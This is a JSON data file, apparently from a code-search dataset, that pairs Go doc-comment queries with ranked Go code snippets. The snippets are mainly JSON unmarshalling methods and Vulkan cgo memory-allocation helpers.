data}\n\teasyjsonCce3d1beDecodeGithubComMailgunMailgunGoV3Events10(&r, v)\n\treturn r.Error()\n}", "title": "" }, { "docid": "dae108c63d5587c94c4f8856057a493e", "score": "0.57335377", "text": "func (i *InstanceViewStatus) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", i, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"code\":\n\t\t\terr = unpopulate(val, \"Code\", &i.Code)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"displayStatus\":\n\t\t\terr = unpopulate(val, \"DisplayStatus\", &i.DisplayStatus)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"level\":\n\t\t\terr = unpopulate(val, \"Level\", &i.Level)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"message\":\n\t\t\terr = unpopulate(val, \"Message\", &i.Message)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"time\":\n\t\t\terr = unpopulateTimeRFC3339(val, \"Time\", &i.Time)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", i, err)\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "dae108c63d5587c94c4f8856057a493e", "score": "0.57335377", "text": "func (i *InstanceViewStatus) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", i, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"code\":\n\t\t\terr = unpopulate(val, \"Code\", &i.Code)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"displayStatus\":\n\t\t\terr = unpopulate(val, \"DisplayStatus\", &i.DisplayStatus)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"level\":\n\t\t\terr = unpopulate(val, \"Level\", &i.Level)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"message\":\n\t\t\terr = unpopulate(val, \"Message\", &i.Message)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"time\":\n\t\t\terr = unpopulateTimeRFC3339(val, \"Time\", &i.Time)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", i, err)\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "9de532f83567b815ed7b5a67060f073b", "score": "0.57314074", "text": "func (x *ETourneyQueueDeadlineState) UnmarshalJSON(b []byte) error {\n\tnum, err := protoimpl.X.UnmarshalJSONEnum(x.Descriptor(), b)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*x = ETourneyQueueDeadlineState(num)\n\treturn nil\n}", "title": "" }, { "docid": "21c7400a3418c6b7bf021f453d5b7970", "score": "0.5728631", "text": "func (j *JwtClaimChecks) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", j, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"allowedClientApplications\":\n\t\t\terr = unpopulate(val, \"AllowedClientApplications\", &j.AllowedClientApplications)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"allowedGroups\":\n\t\t\terr = unpopulate(val, \"AllowedGroups\", &j.AllowedGroups)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", j, err)\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "6bc8571b26584840246f071856197ba5", "score": "0.5728188", "text": "func (x *Fantasy_Roles) UnmarshalJSON(b []byte) error {\n\tnum, err := protoimpl.X.UnmarshalJSONEnum(x.Descriptor(), b)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*x = Fantasy_Roles(num)\n\treturn nil\n}", "title": "" } ]
0b6cbac82ab9e179b5c9a251d1cc1448
allocImageFormatPropertiesMemory allocates memory for type C.VkImageFormatProperties in C. The caller is responsible for freeing the this memory via C.free.
[ { "docid": "924807dff6eee5718061942b99e74512", "score": "0.82353735", "text": "func allocImageFormatPropertiesMemory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfImageFormatPropertiesValue))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" } ]
[ { "docid": "34297559be6415c49f2e4fe9e50ceb6d", "score": "0.7856569", "text": "func allocImageFormatProperties2Memory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfImageFormatProperties2Value))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "34297559be6415c49f2e4fe9e50ceb6d", "score": "0.7856569", "text": "func allocImageFormatProperties2Memory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfImageFormatProperties2Value))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "580785b947a3f534263ffedcf84fe7be", "score": "0.7516237", "text": "func allocExternalImageFormatPropertiesMemory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfExternalImageFormatPropertiesValue))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "53ef2aaa27b5da6c6da1aac6a92c2920", "score": "0.7450213", "text": "func allocFormatPropertiesMemory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfFormatPropertiesValue))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "53ef2aaa27b5da6c6da1aac6a92c2920", "score": "0.7450213", "text": "func allocFormatPropertiesMemory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfFormatPropertiesValue))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "f4fab0842286b0f1478144b94b7b21c1", "score": "0.7219313", "text": "func NewImageFormatPropertiesRef(ref unsafe.Pointer) *ImageFormatProperties {\n\tif ref == nil {\n\t\treturn nil\n\t}\n\tobj := new(ImageFormatProperties)\n\tobj.ref4cfb2ea2 = (*C.VkImageFormatProperties)(unsafe.Pointer(ref))\n\treturn obj\n}", "title": "" }, { "docid": "f4fab0842286b0f1478144b94b7b21c1", "score": "0.7219313", "text": "func NewImageFormatPropertiesRef(ref unsafe.Pointer) *ImageFormatProperties {\n\tif ref == nil {\n\t\treturn nil\n\t}\n\tobj := new(ImageFormatProperties)\n\tobj.ref4cfb2ea2 = (*C.VkImageFormatProperties)(unsafe.Pointer(ref))\n\treturn obj\n}", "title": "" }, { "docid": "cd0bd17216e2b5c847b928f15a946a67", "score": "0.72011656", "text": "func allocExternalImageFormatPropertiesNVMemory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfExternalImageFormatPropertiesNVValue))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "cd0bd17216e2b5c847b928f15a946a67", "score": "0.72011656", "text": "func allocExternalImageFormatPropertiesNVMemory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfExternalImageFormatPropertiesNVValue))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "345ed3cec9d2185683ef464fbc930db4", "score": "0.7174611", "text": "func allocFormatProperties2Memory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfFormatProperties2Value))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "345ed3cec9d2185683ef464fbc930db4", "score": "0.7174611", "text": "func allocFormatProperties2Memory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfFormatProperties2Value))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "8d2b1e6435166e8207cd9c7c0ae0ee35", "score": "0.69928175", "text": "func allocImageDrmFormatModifierPropertiesMemory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfImageDrmFormatModifierPropertiesValue))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "e82a0a7643e15d2db8fe0b0b7e7b0061", "score": "0.6956425", "text": "func allocImageFormatListCreateInfoMemory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfImageFormatListCreateInfoValue))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "61918585b85a11d125481826acea21e6", "score": "0.6947195", "text": "func allocExternalImageFormatPropertiesKHXMemory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfExternalImageFormatPropertiesKHXValue))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "ca08ba095c6733d907795fee6f7e4b8f", "score": "0.6573227", "text": "func allocSamplerYcbcrConversionImageFormatPropertiesMemory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfSamplerYcbcrConversionImageFormatPropertiesValue))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "3415b36b9ccc755afe1d36567e59e98e", "score": "0.65360874", "text": "func allocTextureLODGatherFormatPropertiesAMDMemory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfTextureLODGatherFormatPropertiesAMDValue))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "3415b36b9ccc755afe1d36567e59e98e", "score": "0.65360874", "text": "func allocTextureLODGatherFormatPropertiesAMDMemory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfTextureLODGatherFormatPropertiesAMDValue))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "83e4a7e9571b8522c3f2ac942efd5cd1", "score": "0.64943457", "text": "func allocExtensionPropertiesMemory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfExtensionPropertiesValue))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "83e4a7e9571b8522c3f2ac942efd5cd1", "score": "0.64943457", "text": "func allocExtensionPropertiesMemory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfExtensionPropertiesValue))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "5e215f04a79a8923e4cc1d7d938e2194", "score": "0.64878774", "text": "func allocLayerPropertiesMemory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfLayerPropertiesValue))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "5e215f04a79a8923e4cc1d7d938e2194", "score": "0.64878774", "text": "func allocLayerPropertiesMemory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfLayerPropertiesValue))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "fa9439ea0e3e536cf5897d4f66775d77", "score": "0.6418318", "text": "func allocDisplayModePropertiesMemory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfDisplayModePropertiesValue))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "fa9439ea0e3e536cf5897d4f66775d77", "score": "0.6418318", "text": "func allocDisplayModePropertiesMemory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfDisplayModePropertiesValue))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "017ac16994c769a7bd16034761f90cbe", "score": "0.637339", "text": "func allocDisplayPropertiesMemory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfDisplayPropertiesValue))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "017ac16994c769a7bd16034761f90cbe", "score": "0.637339", "text": "func allocDisplayPropertiesMemory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfDisplayPropertiesValue))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "edc25e0684f38f0ea0c910f81ac58c9a", "score": "0.63449574", "text": "func allocDrmFormatModifierPropertiesMemory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfDrmFormatModifierPropertiesValue))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "4fb00a30d2ae45e1b409616c40721f91", "score": "0.6344522", "text": "func allocSparseImageFormatProperties2Memory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfSparseImageFormatProperties2Value))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "4fb00a30d2ae45e1b409616c40721f91", "score": "0.6344522", "text": "func allocSparseImageFormatProperties2Memory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfSparseImageFormatProperties2Value))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "3f7c2ee673548a827a17d83457089364", "score": "0.6338026", "text": "func allocSparseImageFormatPropertiesMemory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfSparseImageFormatPropertiesValue))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "3f7c2ee673548a827a17d83457089364", "score": "0.6338026", "text": "func allocSparseImageFormatPropertiesMemory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfSparseImageFormatPropertiesValue))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "7220923aaf8b89479c6a339076946fec", "score": "0.63204944", "text": "func NewImageFormatProperties2Ref(ref unsafe.Pointer) *ImageFormatProperties2 {\n\tif ref == nil {\n\t\treturn nil\n\t}\n\tobj := new(ImageFormatProperties2)\n\tobj.ref224187e7 = (*C.VkImageFormatProperties2)(unsafe.Pointer(ref))\n\treturn obj\n}", "title": "" }, { "docid": "772c75241908daf5e374b74d73003e0d", "score": "0.6306015", "text": "func allocPhysicalDeviceShadingRateImagePropertiesNVMemory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfPhysicalDeviceShadingRateImagePropertiesNVValue))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "f9689324152411e7656035fb75622ab3", "score": "0.62859917", "text": "func allocPhysicalDeviceImageFormatInfo2Memory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfPhysicalDeviceImageFormatInfo2Value))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "f9689324152411e7656035fb75622ab3", "score": "0.62859917", "text": "func allocPhysicalDeviceImageFormatInfo2Memory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfPhysicalDeviceImageFormatInfo2Value))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "4869cbabf8b8a6dd10cd58f8c4996e4a", "score": "0.6243995", "text": "func NewImageFormatProperties2Ref(ref unsafe.Pointer) *ImageFormatProperties2 {\n\tif ref == nil {\n\t\treturn nil\n\t}\n\tobj := new(ImageFormatProperties2)\n\tobj.refe7fff76b = (*C.VkImageFormatProperties2KHR)(unsafe.Pointer(ref))\n\treturn obj\n}", "title": "" }, { "docid": "74ee1e34f25a0c83ebd18bd79e0c7696", "score": "0.61853886", "text": "func allocDisplayModeProperties2Memory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfDisplayModeProperties2Value))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "7dd779e8639ee629b2b7962cf3c5d5d3", "score": "0.6174603", "text": "func allocPhysicalDeviceExternalImageFormatInfoMemory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfPhysicalDeviceExternalImageFormatInfoValue))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "19a59d292094536ba34f2ed52493b43c", "score": "0.6132104", "text": "func allocMemoryFdPropertiesMemory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfMemoryFdPropertiesValue))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "52e8d22ab26d1dd1af551ed353dde2fb", "score": "0.6126829", "text": "func NewFormatPropertiesRef(ref unsafe.Pointer) *FormatProperties {\n\tif ref == nil {\n\t\treturn nil\n\t}\n\tobj := new(FormatProperties)\n\tobj.refc4b9937b = (*C.VkFormatProperties)(unsafe.Pointer(ref))\n\treturn obj\n}", "title": "" }, { "docid": "52e8d22ab26d1dd1af551ed353dde2fb", "score": "0.6126829", "text": "func NewFormatPropertiesRef(ref unsafe.Pointer) *FormatProperties {\n\tif ref == nil {\n\t\treturn nil\n\t}\n\tobj := new(FormatProperties)\n\tobj.refc4b9937b = (*C.VkFormatProperties)(unsafe.Pointer(ref))\n\treturn obj\n}", "title": "" }, { "docid": "9dc85f272fcca50a42060208c96b2cea", "score": "0.6087558", "text": "func allocImageDrmFormatModifierListCreateInfoMemory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfImageDrmFormatModifierListCreateInfoValue))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "d221e9332acd88051a802dd5d4b7c4f5", "score": "0.6084624", "text": "func allocDisplayProperties2Memory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfDisplayProperties2Value))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "b1b9f581bd7ee69b57d277a07e1336bd", "score": "0.6074034", "text": "func allocDisplayPlanePropertiesMemory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfDisplayPlanePropertiesValue))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "b1b9f581bd7ee69b57d277a07e1336bd", "score": "0.6074034", "text": "func allocDisplayPlanePropertiesMemory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfDisplayPlanePropertiesValue))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "c446fb0b6c81772720cacc223febaf61", "score": "0.60563904", "text": "func allocPhysicalDeviceGroupPropertiesMemory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfPhysicalDeviceGroupPropertiesValue))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "ba21dab3b00d8dc5ab0cc6f8778e7c0b", "score": "0.6043166", "text": "func (x *ImageFormatProperties) PassRef() (*C.VkImageFormatProperties, *cgoAllocMap) {\n\tif x == nil {\n\t\treturn nil, nil\n\t} else if x.ref4cfb2ea2 != nil {\n\t\treturn x.ref4cfb2ea2, nil\n\t}\n\tmem4cfb2ea2 := allocImageFormatPropertiesMemory(1)\n\tref4cfb2ea2 := (*C.VkImageFormatProperties)(mem4cfb2ea2)\n\tallocs4cfb2ea2 := new(cgoAllocMap)\n\tallocs4cfb2ea2.Add(mem4cfb2ea2)\n\n\tvar cmaxExtent_allocs *cgoAllocMap\n\tref4cfb2ea2.maxExtent, cmaxExtent_allocs = x.MaxExtent.PassValue()\n\tallocs4cfb2ea2.Borrow(cmaxExtent_allocs)\n\n\tvar cmaxMipLevels_allocs *cgoAllocMap\n\tref4cfb2ea2.maxMipLevels, cmaxMipLevels_allocs = (C.uint32_t)(x.MaxMipLevels), cgoAllocsUnknown\n\tallocs4cfb2ea2.Borrow(cmaxMipLevels_allocs)\n\n\tvar cmaxArrayLayers_allocs *cgoAllocMap\n\tref4cfb2ea2.maxArrayLayers, cmaxArrayLayers_allocs = (C.uint32_t)(x.MaxArrayLayers), cgoAllocsUnknown\n\tallocs4cfb2ea2.Borrow(cmaxArrayLayers_allocs)\n\n\tvar csampleCounts_allocs *cgoAllocMap\n\tref4cfb2ea2.sampleCounts, csampleCounts_allocs = (C.VkSampleCountFlags)(x.SampleCounts), cgoAllocsUnknown\n\tallocs4cfb2ea2.Borrow(csampleCounts_allocs)\n\n\tvar cmaxResourceSize_allocs *cgoAllocMap\n\tref4cfb2ea2.maxResourceSize, cmaxResourceSize_allocs = (C.VkDeviceSize)(x.MaxResourceSize), cgoAllocsUnknown\n\tallocs4cfb2ea2.Borrow(cmaxResourceSize_allocs)\n\n\tx.ref4cfb2ea2 = ref4cfb2ea2\n\tx.allocs4cfb2ea2 = allocs4cfb2ea2\n\treturn ref4cfb2ea2, allocs4cfb2ea2\n\n}", "title": "" }, { "docid": "ba21dab3b00d8dc5ab0cc6f8778e7c0b", "score": "0.6043166", "text": "func (x *ImageFormatProperties) PassRef() (*C.VkImageFormatProperties, *cgoAllocMap) {\n\tif x == nil {\n\t\treturn nil, nil\n\t} else if x.ref4cfb2ea2 != nil {\n\t\treturn x.ref4cfb2ea2, nil\n\t}\n\tmem4cfb2ea2 := allocImageFormatPropertiesMemory(1)\n\tref4cfb2ea2 := (*C.VkImageFormatProperties)(mem4cfb2ea2)\n\tallocs4cfb2ea2 := new(cgoAllocMap)\n\tallocs4cfb2ea2.Add(mem4cfb2ea2)\n\n\tvar cmaxExtent_allocs *cgoAllocMap\n\tref4cfb2ea2.maxExtent, cmaxExtent_allocs = x.MaxExtent.PassValue()\n\tallocs4cfb2ea2.Borrow(cmaxExtent_allocs)\n\n\tvar cmaxMipLevels_allocs *cgoAllocMap\n\tref4cfb2ea2.maxMipLevels, cmaxMipLevels_allocs = (C.uint32_t)(x.MaxMipLevels), cgoAllocsUnknown\n\tallocs4cfb2ea2.Borrow(cmaxMipLevels_allocs)\n\n\tvar cmaxArrayLayers_allocs *cgoAllocMap\n\tref4cfb2ea2.maxArrayLayers, cmaxArrayLayers_allocs = (C.uint32_t)(x.MaxArrayLayers), cgoAllocsUnknown\n\tallocs4cfb2ea2.Borrow(cmaxArrayLayers_allocs)\n\n\tvar csampleCounts_allocs *cgoAllocMap\n\tref4cfb2ea2.sampleCounts, csampleCounts_allocs = (C.VkSampleCountFlags)(x.SampleCounts), cgoAllocsUnknown\n\tallocs4cfb2ea2.Borrow(csampleCounts_allocs)\n\n\tvar cmaxResourceSize_allocs *cgoAllocMap\n\tref4cfb2ea2.maxResourceSize, cmaxResourceSize_allocs = (C.VkDeviceSize)(x.MaxResourceSize), cgoAllocsUnknown\n\tallocs4cfb2ea2.Borrow(cmaxResourceSize_allocs)\n\n\tx.ref4cfb2ea2 = ref4cfb2ea2\n\tx.allocs4cfb2ea2 = allocs4cfb2ea2\n\treturn ref4cfb2ea2, allocs4cfb2ea2\n\n}", "title": "" }, { "docid": "c9d6443a812ced15f1cf1d40b40f746b", "score": "0.60424286", "text": "func allocDrmFormatModifierPropertiesListMemory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfDrmFormatModifierPropertiesListValue))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "403af966680f8429c64ba6c86ffaba04", "score": "0.6033305", "text": "func allocPhysicalDeviceImageDrmFormatModifierInfoMemory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfPhysicalDeviceImageDrmFormatModifierInfoValue))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "2b0c4a5b6881563274042c746b196b22", "score": "0.6013271", "text": "func NewExternalImageFormatPropertiesRef(ref unsafe.Pointer) *ExternalImageFormatProperties {\n\tif ref == nil {\n\t\treturn nil\n\t}\n\tobj := new(ExternalImageFormatProperties)\n\tobj.refd404c4b5 = (*C.VkExternalImageFormatProperties)(unsafe.Pointer(ref))\n\treturn obj\n}", "title": "" }, { "docid": "763dce6fee4c281bebdac6e3659dcc2f", "score": "0.6004138", "text": "func allocPhysicalDevicePCIBusInfoPropertiesMemory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfPhysicalDevicePCIBusInfoPropertiesValue))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "d7b6f05e2b5b2a28b021398f34db89af", "score": "0.6000056", "text": "func (x *ImageFormatProperties2) PassRef() (*C.VkImageFormatProperties2, *cgoAllocMap) {\n\tif x == nil {\n\t\treturn nil, nil\n\t} else if x.ref224187e7 != nil {\n\t\treturn x.ref224187e7, nil\n\t}\n\tmem224187e7 := allocImageFormatProperties2Memory(1)\n\tref224187e7 := (*C.VkImageFormatProperties2)(mem224187e7)\n\tallocs224187e7 := new(cgoAllocMap)\n\tallocs224187e7.Add(mem224187e7)\n\n\tvar csType_allocs *cgoAllocMap\n\tref224187e7.sType, csType_allocs = (C.VkStructureType)(x.SType), cgoAllocsUnknown\n\tallocs224187e7.Borrow(csType_allocs)\n\n\tvar cpNext_allocs *cgoAllocMap\n\tref224187e7.pNext, cpNext_allocs = *(*unsafe.Pointer)(unsafe.Pointer(&x.PNext)), cgoAllocsUnknown\n\tallocs224187e7.Borrow(cpNext_allocs)\n\n\tvar cimageFormatProperties_allocs *cgoAllocMap\n\tref224187e7.imageFormatProperties, cimageFormatProperties_allocs = x.ImageFormatProperties.PassValue()\n\tallocs224187e7.Borrow(cimageFormatProperties_allocs)\n\n\tx.ref224187e7 = ref224187e7\n\tx.allocs224187e7 = allocs224187e7\n\treturn ref224187e7, allocs224187e7\n\n}", "title": "" }, { "docid": "6fad451beacd34ad1e44f10309a31969", "score": "0.59830636", "text": "func allocMemoryFdPropertiesKHXMemory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfMemoryFdPropertiesKHXValue))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "ee4684eb523d7db20cf4f928677ca91c", "score": "0.5967972", "text": "func allocMemoryHostPointerPropertiesMemory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfMemoryHostPointerPropertiesValue))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": "a00eb190a2cf90e0ba40678ca7d22652", "score": "0.5952859", "text": "func allocMultisamplePropertiesMemory(n int) unsafe.Pointer {\n\tmem, err := C.calloc(C.size_t(n), (C.size_t)(sizeOfMultisamplePropertiesValue))\n\tif err != nil {\n\t\tpanic(\"memory alloc error: \" + err.Error())\n\t}\n\treturn mem\n}", "title": "" }, { "docid": 